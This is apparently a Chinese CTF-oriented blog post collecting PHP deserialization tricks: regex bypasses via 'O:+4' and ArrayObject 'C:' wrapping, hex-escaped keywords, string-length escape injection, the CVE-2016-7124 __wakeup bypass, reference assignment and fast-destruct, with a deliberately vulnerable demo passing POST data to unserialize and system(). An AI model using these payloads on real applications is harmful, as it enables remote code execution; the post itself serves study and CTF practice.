Featured image of post php反序列化trick

php反序列化trick

php反序列化trick

没有总结过这个,现在写一篇总结

正则绕过

过滤数字:+号绕过

1
2
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}'; //+号绕过 
$b = str_replace('O:4','O:+4', $a);

过滤对象O::C绕过,例题忘了在哪里刷到过了

demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
class test
{
    public $key = True;
    public function __wakeup()
    {
        $this->key = False;
    }

    public function __destruct()
    {
        if ($this->key === True) {
            echo "bypass";
            system($this->cmd);
        }else{
            echo "failed";
        }
    }
}
if (isset($_POST['pop'])) {
    unserialize($_POST['pop']);
}

然后生成序列化字符串

1
2
3
4
5
6
7
8
9
<?php
class test
{
    public $key = True;
}
$a = new test();
$a->cmd = "calc";
echo serialize($a);
// O:4:"test":2:{s:3:"key";b:1;s:3:"cmd";s:4:"calc";}

这里肯定是过不了的,wakeup最后执行会将key改回去

C:custom object 自定义对象序列化,实现了serializable接口的类在序列化的时候返回的字符串也是C开头的,利用这个可以绕过例如O:\d+的这种正则

我们可以写个脚本找一下哪些类继承了serializable接口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
$classes = get_declared_classes();
foreach($classes as $clazz){
    $methods = get_class_methods($clazz);
    foreach($methods as $method){
        if (in_array($method,array("serialize"))){
            echo $clazz."\n";
        }
    }
}
/* 
ArrayObject
ArrayIterator
RecursiveArrayIterator
SplDoublyLinkedList
SplQueue
SplStack
SplObjectStorage
*/

所以我们这里可以使用ArrayObject对正常的反序列化进行一次包装,让最后输出的payload以C开头

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
class test
{
    public $key = True;
}
$a = new test();
$a->cmd = "calc";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
// C:11:"ArrayObject":82:{x:i:0;a:1:{s:4:"evil";O:4:"test":2:{s:3:"key";b:1;s:3:"cmd";s:4:"calc";}};m:a:0:{}}

关键词绕过

主要用到的是s改成S,序列化字符串中S会解析16进制

如果过滤了关键字admin,可以将其替换

1
2
3
O:4:"test":2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"admin888";}
替换后
O:4:"test":2:{s:8:"username";S:5:"\61dmin";s:8:"password";S:8:"\61dmin888";}

反序列化字符串逃逸

在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,但如果我们在序列化字符串后加随机字符串

1
2
3
4
<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
?>

任然输出原来的结果,因为他读到}就停止了,不会读取}后的字符串

1
2
3
4
5
6
7
8
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>
    
//a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

这里的function里面开头的"a是为了序列化之后跟前面的"拼接

然后因为flag会被空替换,变成

1
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a,读取这24个字符后以";结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则

最终结果为

1
2
3
4
5
array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}

这样就把原来不可变的Img给替换了

wakeup方法绕过

cve-2016-7124

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

现在几乎不可能用到

把生成的反序列化字符串中对象数量增加就行,例如我们生成的字符串为

1
O:4:"xctf":1:{s:4:"flag";s:3:"111";} 

改成

1
O:4:"xctf":2:{s:4:"flag";s:3:"111";} 

引用赋值&

在php里,我们可使用引用的方式让两个变量同时指向同一个内存地址,这样对其中一个变量操作时,另一个变量的值也会随之改变。

比如:

1
2
3
4
5
6
7
8
<?php
function test (&$a){
    $x=&$a;
    $x='123';
}
$a='11';
test($a);
echo $a;

输出:

1
123

可以看到这里我们虽然最初$a='11',但由于我们通过$x=&$a使两个变量同时指向同一个内存地址了,所以使$x='123'也导致$a='123'了。

现在比如有这样的demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

class KeyPort{
    public $key;

    public function __destruct()
    {
        $this->key=False;
        if(!isset($this->wakeup)||!$this->wakeup){
            echo "You get it!";
        }
    }

    public function __wakeup(){
        $this->wakeup=True;
    }

}

if(isset($_POST['pop'])){

    @unserialize($_POST['pop']);

}

我们想要绕if(!isset($this->wakeup)||!$this->wakeup)

要么不给wakeup赋值,让它接受不到$this->wakeup,要么控制wakeup为false,但我们注意到KeyPort::__wakeup(),这里使$this->wakeup=True;,我们知道在用unserialize()反序列化字符串时,会先触发__wakeup(),然后再进行反序列化,所以相当于我们刚进行反序列化$this->wakeup就等于True了,这就没办法达到我们控制wake为false的想法了

我们可以使用上面提到过的引用赋值的方法以此将wakeup和key的值进行引用,让key的值改变的时候也改变wakeup的值即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php

class KeyPort{
    public $key;

    public function __destruct()
    {
    }

}

$keyport = new KeyPort();
$keyport->key=&$keyport->wakeup;
echo serialize($keyport); 
#O:7:"KeyPort":2:{s:3:"key";N;s:6:"wakeup";R:2;}

fast-destruct

  • 在PHP中如果单独执行unserialize()函数,则反序列化后得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()函数时就会执行__destruct()方法
  • 而如果将unserialize()函数执行后得到的字符串赋值给了一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁才执行析构方法

这里简单说使用方法,就是把生成的字符串最后的}去掉就行了

或者在最后加个1也行

1
2
3
4
5
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";}
改成
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";
或者
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:3:"end";s:1:"1";1}

可以用来绕过一些比如throw new Exception提前终止的最终题目

使用 Hugo 构建
主题 StackJimmy 设计